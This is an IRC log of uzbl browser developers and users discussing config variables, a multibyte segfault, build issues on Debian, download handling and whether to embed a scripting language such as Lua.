20:58 < DuClare> I'm merging commands & actions atm
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20:59 < Dieterbe> <3
20:59 < uranther> hm.. is -std=gnu99 kosher?
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21:04 < github> uzbl: Mark Nevill experimental SHA1-12ce2ed
21:04 < github> better support for CPP/LDFLAGS environment variables in build
21:04 < github> http://bit.ly/gRZqo
21:04 < github> uzbl: Mark Nevill experimental SHA1-c623fc1
21:04 < github> Added support for altering install prefix
21:04 < github> http://bit.ly/XDzzD
21:04 < github> uzbl: Dieter Plaetinck experimental SHA1-68f356b
21:04 < github> authors update
21:04 < github> http://bit.ly/19UteU
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21:08 < terver> hi, guys, I want to know if anyone using uzbl with native charset? whenever I try to remove char in written in russian I get a segfault.
21:08 < DuClare> Known bug
21:09 < DuClare> Happens with all multibyte characters afaik
21:09 < terver> it's related to uzbl? bt gives path back to some another library
21:10 < DuClare> Probably the library we incorrectly use in uzbl
21:11 < Deepspawn> I have a core dump, it's segfaulting here g_markup_escape_text () from /usr/lib/libglib-2.0.so.0
21:12 < Deepspawn> I'm at work so I haven't been able to investigate it further
21:12 < terver> http://www.uzbl.org/bugs/index.php?do=details&task_id=19
21:14 < DuClare> terver, Thanks, I can reproduce.  I'll try to look into it ASAP, but got a few other things to take care of first.
21:15 < terver> sure, thank you for great browser.
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21:19 < rob|> hmm, if we let the user define his own vars we're going to run into a problem. i.e. how would we decide what type the var is without requiring the user to explicitly define it?
21:20 < rob|> and even if he has to define it, it will require other syntax than our current straightforward approach
21:22 < Dieterbe> why not treat everything as string?
21:22 < rob|> so a defining user var would be a 2 step process: 'define type my_var_name' and 'my_var_name = value'
21:22 < DuClare> rob|, Everything as string, because the user doesn't need to deal with types
21:22 < DuClare> He doesn't pass his var to some C code that needs an int
21:23 < rob|> hmm, wait
21:23 < DuClare> Or, to put it other way around, we don't use the users' vars in our code where ints need to be used
21:24 < rob|> set user_var = something  -  set uzbl_var = @user_var
21:24 < DuClare> Yep
21:24 < rob|> that would work, yes
21:24 < DuClare> It's parsed as string anyway, so the user doesn't need to deal with types
21:25 < rob|> yeah, i wrote the code and ask such stupid question :x
21:25 < rob|> +s
21:25 < rob|> i blame the wine ;)
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21:31 < rob|> hmm
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21:45 < DuClare> Haha :D
21:45 < DuClare> Got a funny bug.  The status line changes its colour whenever I input something.
21:46 < rob|> yeah, this happens if status_background is an empty string/has no value
21:46 < DuClare> Hmm.
21:46 < rob|> iirc..
21:46 < DuClare> rob|, Do we need to allow trailing whitespace in any command (action)?
21:47 < DuClare> Hmm, one could want to use space as a character in progress bar or such.
21:47 < rob|> right
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21:48 < uranther> well, i finally made a useful commit http://github.com/uranther/uzbl/commit/89916092aef4b603c3fb5a711f0475d49aa7868e
21:50 < rob|> good idea..
21:50 < uranther> :>
21:51 < uranther> there are other functions in the webkit api like get_zoom_level and get/set_full_content_zoom
21:51 < uranther> i figure get_zoom_level might be helpful..
21:51 < uranther> and the others too
21:52 < DuClare> We could make zoom a variable, which'd give get for free.  But we don't deal with floats yet.. :x
21:52 < DuClare> It's inconsistent to use get for variables but get_zoom_level for zoom
21:52 < uranther> oo
21:56 < rob|> well, adding a new type should be straightforward. and the conversion function is there already, strtod()/strtof()
21:56 < DuClare> Mmm
22:10 < Dieterbe> uranther: instead of a reset function which sets to 1.0, i suggest setting to any arbitrary value, then theuser can still make a bind to set to 1.0, but also other values
22:11 < uranther> k
22:11 < uranther> let me try that
22:13 < DuClare> set_zoom or such
22:15 < rob|> set set_zoom?
22:15 < rob|> hmm
22:15  * rob| votes for zoom_level
22:15 < DuClare> Well, 'set zoom' would be most consistent, just if you add support for floats.
22:15 < DuClare> Or set zoom_level
22:15 < DuClare> Yep.
22:16 < rob|> uranther: care to add floats?
22:16 < uranther> hm where?
22:17 < uranther> in command_parse or whatever
22:17 < rob|> uranther: just add a new symbol to the enum and use the above mentioned conversion function in get/set_var_value
22:17 < rob|> enum {TYPE_INT, TYPE_STR};
22:17 < uranther> ok let me try
22:25 < DuClare>  2 files changed, 16 insertions(+), 40 deletions(-)
22:25 < DuClare> :3
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22:32 < DuClare> Now the hard part: updating documentation & sampleconfigs. <,<
22:33 < rob|> hehe
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22:36 < terver> does anyone use uzbl on debian lenny?
22:38 < uranther> ok.. i got it working sort of
22:38 < uranther> 1.0 zooms to like 50% though
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22:39 < pepecho> hello
22:39 < terver> hi
22:39 < goozbach> terver: I'm using it on ubuntu 9.04
22:40 < goozbach> I had to compile the latest webkit for that to work however
22:40 < Morasique> terver: seraphyn was just talking about it yesterday, but he's not here atm
22:40 < terver> Morasique, is there any public logs?
22:40 < terver> or about what he was talking about
22:40 < pepecho> is there a easy way to load an html file, other than using "set inject_html"?
22:40 < terver> goozbach, yeah, exactly, it doesn't work with lenny's libwebkit :\
22:41 < rob|> pepecho: yes, http://www.uzbl.org/wiki/html-mode
22:41 < Morasique> terver: i don't know if this channel is logged; here's the fragment: http://pastebin.com/m3426cd48
22:41 < pepecho> thanks
22:41 < sECuRE> terver: just install libwebkit-dev from unstable, that’ll work fine
22:43 < rob|> pepecho: i'd recommend to use uzblcat
22:43 < terver> sECuRE, sid's lib want hude dependency list (gtk, glib, etc) which have to be from sid too
22:44 < terver> I have sid on my big laptop, uzbl work well there, but on this eeepc I have lenny and want to keep it
22:44 < sECuRE> terver: ah, i see. i use testing everywhere, so i didn’t have to install anything else
22:45 < terver> testing is ok for uzbl compiling?
22:45 < sECuRE> testing + the libwebkit-dev from unstable, yes
22:45 < terver> okay
22:45 < terver> although upgrading whole OS because of browser isnt smart move.. will think about it
22:49 < rob|> <-- off, nightly barbecue. see you guys later..
22:50 < Masca> It's amazing how much work you do in 2 days.
22:51 < DuClare> rob|, Hm
22:51 < DuClare> rob|, You're coming back tomorrow or tonight?
22:53 < terver> git://github.com/Dieterbe/uzbl.git
22:53 < terver> is official git?
22:53 < terver> (only)
22:54 < DuClare> Yeah, one could say that's the official one.
22:55 < uranther> http://github.com/uranther/uzbl/commit/79bc5894756cf9ea267ec80938e7c9fe4881d1b4
22:55 < uranther> got floats workin
22:55 < DuClare> Dieterbe, I pushed my merge work.
22:56 < uranther> DuClare, do i need to "push my merge work"? still getting used to git :P
22:57 < uranther> i push my commits to my fork and then Dieterbe merges it into experimental if it's ok, right?
22:57 < DuClare> uranther, Hehe, no.  I was referring to a conceptual merge -- in my experimental branch, commands and actions are now one.
22:57 < DuClare> Yep.
22:57 < DuClare> Exactly.
22:57 < uranther> ok cool
22:57 < DuClare> http://github.com/DuClare
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22:59 < uranther> god wtf.. how did i end up checking out Dieterbe's master from 2 days ago
22:59 < uranther> http://github.com/Dieterbe/uzbl/network
23:00 < DuClare> Well, you seem to have all diet's branches
23:00 < DuClare> Did you work in master?
23:01 < uranther> hm
23:01 < uranther> i thought i forked his experimental
23:01 < uranther> then i worked in my master
23:01 < DuClare> Looks like you worked in his master
23:01 < DuClare> A fork of his master, rather.
23:01 < uranther> not sweet
23:03 < uranther> hm hopefully that works out ok
23:03 < uranther> i'm out for the weekend
23:03 < uranther> peace
23:03 < DuClare> It shouldn't cause too much trouble
23:03 < DuClare> Enjoy your weekend o/
23:03 < uranther> :> u too
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23:05 < Dieterbe> have fun rob| 
23:07 < Dieterbe> DuClare: sweeet
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23:31 < Dieterbe> lol
23:31 < Dieterbe> the "level of change" in our amount of visitors (according to google analytics) is 26.802,22%
23:32 < pjackson> I came from Hacker News.
23:32 < Dieterbe> holy crap 12681 visitors on tuesday :)
23:34 < Dieterbe> reddit gave us 5642 visitors on that day, HN "only" 2.216   :P
23:34 < DuClare> :>
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23:35 < pjackson> Isn't the "home page" set to uzbl.org, so you get those ones too.
23:36 < pjackson> Mind you, 'visitors' means unique - right?
23:36 < Dieterbe> not sure
23:36 < Dieterbe> i think they are unique, but not sure
23:37 < M2tias> btw, does the "home page" still override the --uri?
23:37 < Dieterbe> yep
23:38 < M2tias> why is that?
23:41 < Dieterbe> no one fixed it yet
23:42 < DuClare> I'm fixing.
23:42 < Dieterbe> DuClare: you ok with this? http://nopaste.com/p/agAjdypNO
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23:43 < M2tias> oh, it was a bug? ok, no need to hurry it for me, I was just wondering
23:44 < DuClare> Sure
23:45 < Dieterbe> DuClare: ?
23:47 < DuClare> Dieterbe, Yep, I'm ok with it
23:47 < Dieterbe> k
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23:49 < DuClare> M2tias, http://github.com/DuClare/uzbl/commit/26f103c5cdda0f4874fb41632808451b59ad9278
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23:51 < M2tias> :o
23:52 < Dieterbe> hmm we had a long discussion DuClare , with rob| also. about how to handle this (as part of the bigger picture: not letting some things from stdin override cmdline args). but i don't recall what we concluded (if we concluded anything at all)
23:53 < DuClare> Dieterbe, Last time (which was the n^2th time we discussed this ^^;) you said we should make --uri override whatever comes from the config.  It won't override anything else.
23:53 < DuClare> That's how I remember it anyhow
23:53 < DuClare> This should reduce complaints at least.. :x
23:54 < Dieterbe> yeah, but having a foo_override variable for all those things just doesn't feel like the right way
23:54 < DuClare> Sure
23:54 < DuClare> But well, it's just a temporary variable to hold it 'till the config is read. ;x
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23:55 < DuClare> IMHO --uri is a fair special case as it's the only thing that can conflict with sets in cfg
23:56 < Dieterbe> nah, verbose too
23:56 < DuClare> Really?
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23:56 < DuClare> No, you can't set it via cfg
23:56 < Dieterbe> hmm indeed, but we should be able to :)
23:57 < DuClare> Well, that can be added... and the override can be added.  I can also remove the two overrides we would have if you think they're too great in evil :]
23:59 < DuClare> Dieterbe, Override or no override?
23:59 < Dieterbe> sounds like a plan :P
23:59 < Dieterbe> you mean, override now or keep waiting?
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00:00 < DuClare> Yep
00:00 < Dieterbe> option 1 :)
00:00 < DuClare> Does numbering start from 0 or 1?
00:00 < Dieterbe> 1
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00:07 < M2tias> :D
00:07 < M2tias> updated to Dieterbe's master :o
00:07 < DuClare> Updated?!
00:08 < M2tias> what?
00:08 < DuClare> Hehe, well, Diet's master is old :>
00:09 < M2tias> yeah, but it's the only one in aur :P
00:09 < DuClare> Added verbose, pushed
00:09 < Dieterbe> nope M2tias 
00:09 < Dieterbe> my experimental is also in aur
00:09 < M2tias> yeah...
00:11 < DuClare> The segfault when backspacing is the next critical thing, I think..
00:13 < DuClare> (Meh.  A readily available external prompt would've saved us from this hassle)
00:15 < DuClare> And then..
00:15 < DuClare> Hmm
00:15 < DuClare> I wanted to get rid of the shell loops that need to be there because we can't expand vars in binds
00:15 < DuClare> That should only involve adapting rob's recent code
00:16 < DuClare> Next big thing would be to finish the keyboard stuff and get rid of hardcoded behavior.
00:17 < DuClare> After that, I don't know.. libuzbl?
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00:18 < DuClare> Dieterbe, Do you want to take care of the segfault wrt bsing multibytes?
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00:21 < Dieterbe> i rather spend my time on cookies and multiple instances
00:21 < DuClare> Ah, right
00:21 < DuClare> Did I already tell I have to attend a graduation party today?  Well, I don't want to look like a zombie in the midst of people, so I'd better turn in
00:22 < Dieterbe> sure np
00:22 < DuClare> Nights. o/
00:22 < Dieterbe> as for the prompt, i think it's better to use a good existing one (if we find what we need) or write our own as sep. library
00:22 < DuClare> Mmm
00:22 < DuClare> Yeah
00:22 < DuClare> Well, I think it'll be easy to outsource it if/when we try the libuzbl thing
00:23 < Dieterbe> i don't think it should be a different _program_ though. but having clean separation of code here is nice
00:24 < Dieterbe> but now i'm gone too
00:24 < Dieterbe> see ya
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01:00 < terver> is there any rational behing using XDG_config_home instead of usual for proramms ~/.uzblrc or ~/.uzbl/config ?
01:02 < Masca> terver: because it's freedesktop standard?
01:03 < mxey> So is D-Bus - no valid resaon.
01:03 < terver> no idea, just unusual placement for me.i'm on debian/testing now and I have no such env var
01:03 < terver> although I have ~/.config
01:03 < mxey> XDG_CONFIG_HOME makes some sense, because it centralizes configs into one directory.
01:04 < mxey> I have Git repos for configs under ~/etc and just set XDG_CONFIG_HOME=~/etc
01:04 < terver> but it will break other apps
01:07 < mxey> terver: And why is that?
01:08 < terver> so this var hve to be set manually by user in .<shell>rc?
01:08 < mxey> It defaults to ~/.config
01:08 < terver> mxey, I have no such var and xmms2 saves everything in .config, if I set this var to ~/etc I'll lose settings (well, until I copy them :)
01:09 < mxey> cp -r is a very hard command.
01:11 < terver> nm, just unusual placement for me, everything works that's what matter.
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01:17 < terver> max_conns_host in config - it's max concurrent connection to the host? like pipelining in firefox?
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03:52 < bobpaul> scrollbars possible?
04:22 < bobpaul> can mouse buttons be bound to actions? I'd like to bind middle clicking a link
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05:01 < bobpaul> Ok, so I see in github that there's a scrollbar enabled version (and an experimental thereof). But I've also come across webpages with scrollbars that work in the current origins/master (disabled cookies again). If you visit reddit.com, make an account, set your reddit preferences to enable the "reddit toolbar" (uses frames) and visit a link, you'll have a scrollbar in the bottom frame
05:02 < bobpaul> I don't know if this is because of the frame set or due to CSS styling
05:04 < bobpaul> so then, is the bar/master and bar/experimental branches attempting to use gtk scrollbars and the example I found takes advantage of webkit's own scrollbars? If that's so, perhaps webkit's bars should be used normally
05:12 < bobpaul> can conditionals be placed in the config? Such as "if uri = ""; then set uri = uzbl.org; fi"?? The example says to use uzbl --uri="website" --config /path/to/example/config but the example config has "set uri" in it, which overrides the --uri command-line :-/
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09:26 < DuClare> bobpaul, You can't bind mouse buttons yet
09:27 < DuClare> bobpaul, And no, we don't have conditionals, but the problem with --uri and config has been fixed already.  One could use an external script for conditionals, though.
09:29 < DuClare> The scrollbars are messy.  Gmail for example has its own scroll system, which means you can't use uzbl's bindings to scroll the page :|  Annoyances of the "rich web", I say.  I'm not sure what method is used to create the scrollbars.. do you see them using another browser?
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11:44 < Zaba> DuClare, what kind of scrollbars does gmail use?
11:44 < DuClare> Zaba, I haven't investigated how they're implemented
11:45 < DuClare> Zaba, But if you scroll using uzbl's scroll binds, the whole thing you see just moves up without actually scrolling the content
11:45 < Zaba> ah.
11:45 < Zaba> well, I saw the same behaviour with frames some time ago.
11:56 < thesnowdog> Zaba: it uses frames
11:56 < thesnowdog> ...if that's what you were asking. :)
11:57 < Zaba> hm, and it looks like links that open in new window still open 2 new windows
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12:42 < rob|_> morning.
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12:50 < pjackson> Hi.
12:51 < rob|> DuClare: now that runcmd is gone, my binding "bind :_ = runcmd %s" obviusly doesn't work anymore. what's the preffered way to do it, "bind :_ = %s" does not seem to work (for some reason it can't parse the command)
12:54 < rob|> other than that everything seems to run just fine after merging from you, duc
12:54 < sscj> perhaps "bind :_ = chain '%s'" works?
12:54 < rob|> let's see
12:55 < rob|> yep, that works
12:55 < rob|> not very straightforward, though
12:59 < sscj> would this work, btw: "bing :twice _ = chain '%s' '%s'"?
12:59 < sscj> bind*
13:00 < rob|> segfault
13:01 < rob|> hmm
13:01 < Dieterbe> good noon everyone
13:02 < rob|> hey dieter
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13:10 < rob|> hmm, i guess we should get rid og 'get var' and rather introduce a 'print' command, i.e. 'print @var' in order to remain consistent with our theme
13:11 < rob|> i.e. accessing variables happens with @var setting just with 'var = foo'
13:11 < rob|> +set
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13:12 < rob|> this also has the benefit of being able to output multiple vars perl call and the user can define his own output format
13:12 < rob|> s/perl/per/
13:14 < sladegen> know any non svn links to libwekit source? debian's orig tarball is 6.5MB... checking out per webkit.org instructions already consumed 350MB... bleh
13:15 < sscj> sladegen: http://nightly.webkit.org
13:17 < sladegen> ah... interesting how they fit 400MB inside 10MB tarball ;) silly me.
13:18  * sladegen is too svn/git/hg/darcs/trigger happy.
13:19 < sladegen> should have co release... at http://trac.webkit.org/browser/releases/WebKitGTK
13:25 < rob|> pushed,  added print command.  e.g.: print current uri=@uri (proxy:@{proxy_url})
13:25 < Zaba> rob|, with current variable expansion code, is @foo@bar legal?
13:26 < Zaba> to expand foo and then bar with no space between them
13:26 < rob|> no, but @{foo}@{bar} just as the shell would require
13:26 < Zaba> shell is fine with $foo$bar
13:26 < Zaba> $ is not an allowed char in a shell variable name
13:27 < rob|> yeah, the expand_var() doesn't check for that, so you'd need to use what i posted above (for now at least)
13:27 < Zaba> aha
13:28 < Zaba> and foo@bar is an allowed variable name as long as I use it as @{foo@bar}?
13:28 < rob|> currently, yes
13:29 < Zaba> rob|, will variable expansion code with the @s be used for statusbar and useragent?
13:29 < rob|> yep, that's the plan
13:30 < Zaba> okay.
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13:35 < sladegen> thought of using "real" embeddable language for internal scripting? like, i dunno, io, lua or scheme... just thinking outloud. i havent even yet installed uzbl to closer familiarize myself with it.
13:36 < rob|> sladegen: no, need for such a beast. you can perfectly generate the command with any language
13:36 < rob|> *commands
13:39 < sladegen> yes, but i see some incompatiblity mismatch above with @ versus $ syntax... perhaps just imagining too much with too little data.
13:39 < Zaba> incompatibility mismatch?
13:40 < rob|> well, i chose @ so uzbl variables don't interfere with env/shell vars
13:40 < rob|> i'll probably make that character user setable
13:40 < rob|> so you could use whatever you want for it..
13:41 < sladegen> yes, "real" languages don't have @foo $bar %gaga madness ;)
13:42 < Zaba> some do
13:42 < Zaba> and it's not really that much of madness
13:42  * sladegen writes "real" because perl is as real as it gets ;}
13:42 < Zaba> and perl is very real
13:43 < sladegen> yes, yes, i know... even lisp has reader macros.
13:43 < rob|> hmm, i can't understand why people have such problems with perl (syntax). i like that lang a lot..
13:43 < Zaba> because people either don't know it, or only saw bad examples
13:44 < sladegen> periodic table of the operators ftw ;)
13:44 < Zaba> perl6 is stinky crap, though
13:45 < rob|> sladegen: well, either that or quotation madness
13:46 < rob|> anyways, we could perfectly use $ for our vars the user would just need to \$SHELL_VAR
13:47 < sladegen> i'm not trying to be assasine, only i understand how it goes and from small beginnings one ends up implementing yet another idiosyncrating little language to internally script application. i think it's better to use something already designed and tested.
13:47 < Zaba> internally script? It's just the config
13:47 < sladegen> for now...
13:47 < Zaba> and well, commands too
13:48 < Zaba> you're going to script it through the pipe/socket
13:48 < Zaba> using those commands
13:48 < sladegen> "small beginnings"
13:48 < Zaba> look, if you want it to develop into a scripting language, write up a patch and get quickly and seriously bashed
13:48 < Zaba> you're assuming a bit too much, don't you think
13:49 < rob|> sladegen: there are no plans for a "internal scripting language", the whole point of uzbl is to be scriptable with any language
13:49 < sladegen> right... pipe/socket. but as good as shell(s) syntax is for it's tersness it's not great language.
13:49 < Zaba> uhm
13:49 < Zaba> what's wrong with writing a perl/python/ruby/whatever script for communicating over a pipe or a socket?
13:50 < sscj> it would be neat to be able to call js code and get the string result
13:50 < sladegen> but you are still writing to the internal uzbl "API".
13:50 < sscj> since there's already a bad ass js interpreter
13:51 < rob|> sscj: not sure, didn't look into all that js stuff, yet
13:51  * sladegen wanted to mention js, but it's not great scriptibility wise.
13:51 < Zaba> js would be better if it was a general-purpose scripting langauge
13:51 < Zaba> I mean, closures and stuff, it's a nice language
13:52 < sscj> like "bind :foo _ = spawn script $(js baz(%s))"
13:57 < sladegen> unix philosophy still created gazillion of incompatible languages like sed/awk/m4/make/expect/tcl etc...
13:58 < Dieterbe> rob|> this also has the benefit of being able to output multiple vars perl call and the user can define his own output format <-- sounds good
13:58 < sladegen> not to mention bash not being sh(POSIX)(tm)
13:58 < Zaba> sladegen, as per POSIX, make has no scripting capabilities.
13:59 < sscj> when did the "unix philosophy" dicatate that there should be one true language?
13:59 < Zaba> sscj, it didn't
13:59 < sladegen> it has conditionals, variables... anyway. just talking off the top of head.
14:00 < rob|> Dieterbe: yeah, i pushed it already
14:00 < Dieterbe> rob|: cool
14:00 < Zaba> sladegen, wrong and wrong
14:00 < Zaba> sladegen, posix make only has macros and you haven't listed even those
14:01 < sladegen> sscj: it did not. but i'm just cassandraing against inventing yet another one.
14:01 < Zaba> sladegen, uzbl is *not* *inventing* another scripting language; and if that emphasis was not enough, _uzbl config is not a scripting language_
14:02 < sladegen> fair enough.
14:02 < Dieterbe> well, we could make it one. it would allow some more options (if/else etc)
14:02 < rob|> no
14:02 < Dieterbe> sure there would be an overlap because you can already script through fifo/socket, but i don't see much harm
14:02 < Zaba> you can already script through fifo/socket, that's the whole point really
14:03 < Dieterbe> it only allows for more freedom to control uzbl from its' own confic
14:03 < Zaba> you can already spawn things in the config
14:03 < Dieterbe> my point is that it's cleaner/simpler to have an if/else for example in the config itself, instead of forking a separate script which does the if/else and then writes to the fifo/socket
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14:04 < Zaba> certainly not simplier, code-wise.
14:04 < rob|> indeed, i'm against this idea
14:04 < Dieterbe> why?
14:04 < Zaba> Those pesky users will not die if they have to write an external script for some task, but that codebase will die if it gets too bloody much bloat.
14:05 < rob|> because the would just trivialize our whole unix philosopy point
14:05 < Dieterbe> afk
14:05 < Zaba> I would rather strive for making the config format simplier.
14:16 < rob|> so, get command (and all dependend functions) removed
14:20 < sscj> what if the string interpreter was pluggable so you could change it to, say, a lua one if you wanted to?
14:23 < rob|> how would that work?
14:24 < mxey> In theory, it would be no problem to load seperate interpreters and bind some uzbl-specific commands to them.
14:24 < mxey> (so you can actually control uzbl out of Lua)
14:25 < mxey> of course, uzbl could provide a filesystem-interface like wmii and everyone can choose his own language then.
14:25 < mxey> ruby-wmii actually provides a live irb into your WM.
14:26 < rob|> the point is we want to control uzbl through stdin/fifo/socket and not write one more api which allows to integrate embedded languages
14:27 < rob|> mxey: that will be possible at some point using the socket. right now you can use stdout to retreive answers from uzbl
14:28 < mxey> yeah
14:28 < mxey> That might be fun actually :>
14:31 < rob|> so it should work like (showcased as shell script): ANSWER=$(uzbctrl -options 'print @uzbl_var')
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16:08 < DuClare> rob|, Yeah, I noticed bind :_ = %s didn't work; didn't have the time to look into how the expansion is done so I used chain '%s' in the sampleconfigs
16:09 < DuClare> Can look into that at some point unless somebody already did
16:09 < DuClare> But not right now
16:26 < bubaak> i am not able to download video from this page https://video1.fit.vutbr.cz/index.php?record_id=7298&categ_id=460, sorry it's in czech, there's button "stahnout" which means "download", i think it's because it's some kind of redirect
16:26 < bubaak> how can i download that?
16:29 < MarSoft_> bubaak: maybe it is a problem with security certificate?
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16:30 < Zaba> I think that at the moment uzbl just accepts whatever cetrificate is given.
16:31 < bubaak> MarSoft_: how do i find out?
16:31 < MarSoft_> yes, that problem is only in Firefox..
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16:31 < DuClare> They call it a feature.. ;)
16:32 < MarSoft_> "Nemete zat stahovat jeden zznam vce ne dvakrt bhem 10 minut."
16:33 < bubaak> ah that means that you cannot download one video more than twice in 10 minutes
16:34 < bubaak> that would the information system protection
16:34 < DuClare> http://hikari.serveftp.org/err.txt
16:35  * DuClare edits the download handler..
16:36 < DuClare> Okay, the problem is that you can only download files by using the menu
16:37 < bubaak> the menu?
16:37 < DuClare> If the server simply sends you a file when you follow some link, uzbl won't try to download it
16:37 < bubaak> ahh
16:38 < DuClare> O, wait
16:38 < DuClare> It works
16:38 < bubaak> it does?
16:38 < DuClare> It doesn't use a redirect, seemingly.
16:38 < DuClare> Yep.
16:39 < DuClare> Right click, select 'Download linked file'..
16:40 < bubaak> yeah i'm doing that, using gwget as download manager and it tries to download file 'record-public-download?id=7298'
16:40 < bubaak> record-public-download.php?id=7298
16:40 < DuClare> That is the file you want
16:41 < DuClare> Length: 285941616 (273M) [video/avi]
16:41 < bubaak> hmm, state: error - file not found, is that because of that certificate?
16:42 < DuClare> The state of what?
16:43 < DuClare> If wget has a problem with certificates, it complains about certificates, not files :x
16:43 < bubaak> state of the download, gwget says that
16:43 < DuClare> I don't know, never used gwget
16:43 < bubaak> ok, i'll try plain wget
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16:45 < bubaak> hmm no luck, could you please upload your download handler?
16:48 < DuClare> VAR: download_handler VALUE: (sh "cd /home/duclare/.uzbl/download && wget --no-check-certificate $8")
16:49 < bubaak> yeah, thanks, i got working already, damn certificate :)
16:49 < bubaak> thanks for your help
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16:53 < sscj> hey, why not use the variable expansion thing for the keysyms?
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16:55 < DuClare> sscj, Huh?
16:56 < DuClare> Variable expansion is used to expand variables <,<  How does that relate to keysyms?
16:57 < sscj> by storing the keysym in a variable and then do "bind foo@(tab) = spawn bar"
16:57 < sscj> or keycode or whatever you are using
16:58 < DuClare> Nope, that's full of problems
16:58 < sscj> k
16:58 < DuClare> I'm going to use gtk for the job.
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18:57 < rob|> re
19:00 < Dieterbe> rob|> because the would just trivialize our whole unix philosopy point <-- well the unix philosophy says "many (small) programs", but Imho there is nothing wrong with having a "bigger" program, as long as all the parts themselves are small, and are coded as reusable libraries
19:01 < Dieterbe> eg if we were to use $library to use for parsing/variable expanding/... config files, i'm ok with it as long as the library itself does what we want and is elegantly coded
19:03 < Zaba> Dieterbe, look, uzbl already has good scripting capabilities, through pipes and sockets.
19:03 < rob|> sure, though it seems not worth the effort to write some half baked language that allows only branching when you already have powerful tools at hand which do exactly that and even more
19:03 < Zaba> it doesn't need a bloody language, be that just variables and conditionals, built in
19:03 < Zaba> Dieterbe, that would be the NIH syndrome, actually.
19:04 < Dieterbe> Zaba: what is 'NIH' about using an external library for loading config files?
19:04 < Zaba> Dieterbe, I suffered from it a lot, and it's never a good thing, trust me!
19:04 < Zaba> Dieterbe, NIH is conditionals in uzbl config
19:04 < Dieterbe> no
19:04 < Zaba> yes, it is
19:05 < DuClare> Imagine we added simple conditionals.  What would be the next thing people want in the "language"?
19:05 < Dieterbe> my point is exactly that we should consider using an _existing_ library, such as lua, or whatever
19:06 < rob|> hmm
19:06 < Zaba> that'd make it specific to some language
19:06 < Dieterbe> Zaba: any more specific to our own pseudo-language that we have now?
19:06 < Dieterbe> s/to/then/
19:06 < rob|> dieter, look we have 3 means of interacting progamatically with uzbl why bloat it with an embedded labguage?!
19:06 < Zaba> that's not really a pseudo language per se, just a bunch of commands and settings for manipulating a browser
19:07 < Zaba> text interface, that's what it is.
19:07 < Dieterbe> rob|: the argument of "bloat" is a good one.  (the only argument i've seen so far i can agree with)
19:08 < Zaba> Dieterbe, "bloat" is a good enough argument to be the only in a lot of cases.
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19:08 < rob|> and we would mix up concepts, one the one hand we want to be language agnostic but on the other hand you suggest an embedded half brewn lang.
19:09 < DuClare> It's really hard to pull the line between "useless bloat" and "nice to have but technically not required for accomplishing foo"
19:09 < Dieterbe> well it would just be something extra one can do. it wouldn't prevent anyone from still outsourcing "logic" to external scripts
19:10 < rob|> sure, but that would simply duplicate functionality that is not necessary to acclopish any given task
19:10 < Dieterbe> yep that's probably true
19:10 < Dieterbe> it could just provide a way to solve the same issue in a more simple way, depending on the use cases for specific users
19:11 < DuClare> If we embedded a language, I'd drop spawn and sh and all the scripts we bundle with uzbl and re-write in the embedded language.. and then arises the question, what did we actually gain?  Tighter integration, not much more
19:11 < Zaba> Dieterbe, 700 lines of code
19:11 < Zaba> err, DuClare
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19:11 < DuClare> Zaba, Yeah
19:11 < Zaba> I mean, additional, of course.
19:12 < Zaba> and that's if one cuts short on whitespace.
19:12 < DuClare> I see no actual use for the said integration
19:12 < Dieterbe> Zaba: 700 lines of code to do what?
19:12 < DuClare> We could do what we can do now, only in a more integrated way .. which isn't neccessarily good
19:12 < DuClare> Also, I bet people would still like to write things in bash or whatever
19:12 < Dieterbe> sure, likely
19:12 < Zaba> there's no point to extend the current text interface to do stuff a programming language does, and there's no point in embedding an interpreter
19:13 < DuClare> So they'd call external scripts from the embedded language.. leaving it unused
19:14 < Dieterbe> and what about all the code we have now to do things like variable expansion etc? we are now writing our own "language", albeit a minimalistic one
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19:15 < Zaba> variable expansion doesn't necessarily mean turing completeness
19:15 < DuClare> Zaba, Language nevertheless
19:15 < DuClare> Even markup languages are languages. :)
19:15 < DuClare> But obviously there has to be a language
19:15 < DuClare> If IPC is present
19:15 < DuClare> How else would they communicate..
19:15 < Zaba> well yes
19:15 < DuClare> Language/protocol/...
19:16 < rob|> even "aaaabbccddddd" is a language ;)
19:16 < DuClare> The borders are vague
19:17 < Dieterbe> yeah, so my point is: why write our own language that only supports basic things, if there are libraries out there that do what we want (and some stuff more as well). we don't need to write our own code, which is cleaner.  we have more means to do the same things, which may or may not be needed/useful for some people
19:18 < rob|> cause all we need are these basic things
19:18 < Zaba> yeah, let's just integrate a fat library which does a lot more than uzbl needs and also goes rather against its concept and... oh, I see a lot of benefits in that.
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19:19 < Dieterbe> who said a library needs to be fat? i haven't searched much myself yet, but maybe there is some pretty lightweight library out there
19:19 < DuClare> < Dieterbe> rob|_: well, I'll go over our current commands and see.  It would be convenient if we could res
19:19 < DuClare> trict the amount of commands (eg try to use "SET" for as much things as possible).  for things that require addit
19:19 < DuClare> ional logic (such as changing uri) I would rather also use SET syntax, but just after the variable has been set,
19:19 < DuClare> check the name of the variable and perform the additional logic if needed; instead of having separate functions f
19:19 < DuClare> or al
19:20 < DuClare> < DuClare> I'd write a minimal lisp-1
19:20 < DuClare> Just remembered that.
19:20 < Zaba> actually...
19:20 < Zaba> Why not just make every variable that needs additional logic to be performed an action?
19:20 < DuClare> Zaba, I suggested making every variable an action
19:20 < Zaba> DuClare, does every variable really need additional logic?
19:21 < DuClare> Zaba, No, but why have a table for variables and a table for actions if some variables are actions and some are not.
19:21 < DuClare> They could be actions that simply point to a setter
19:21 < DuClare> Or something..
19:21 < DuClare> But that's not relevant
19:21 < Zaba> because variables that do require logic are actions and others are not?
19:21 < DuClare> Because it doesn't fix our need for branching
19:21 < Zaba> do we have it?
19:21 < DuClare> We don't have branching
19:22 < DuClare> And people want it
19:22 < DuClare> Some want it, anyhow
19:22 < Zaba> I know, but why on earth do they want it?
19:22 < DuClare> Because they consider spawning a shell just to branch is inconvenient / wasteful
19:23 < Zaba> then they should be told to spawn a perl interpreter, that's almost 1.2MB of overhead; after that, they'll *love* spawning shell.
19:23 < Zaba> problem solved
19:23 < Zaba> :>
19:23 < Dieterbe> Under Linux, the Lua interpreter built with all standard Lua libraries takes 153K and the Lua library takes 203K. 
19:24 < Zaba> ok, so they can spawn lua for branching all right, what's the problem?
19:24 < Dieterbe> seems pretty lightweight to me. especially when compared to spawning a /bin/sh or /bin/bash
19:26 < mxey> Lua is certainly nice for embedding.
19:26 < Zaba> you know, I really fail to see your point.  If the lua interpreter's so small, what *is* the problem with spawning it for just branching?
19:27 < mxey> If it is so small, what is the problem in embedding it?
19:27 < DuClare> Zaba, I think it's more about replacing our semi-language with lua
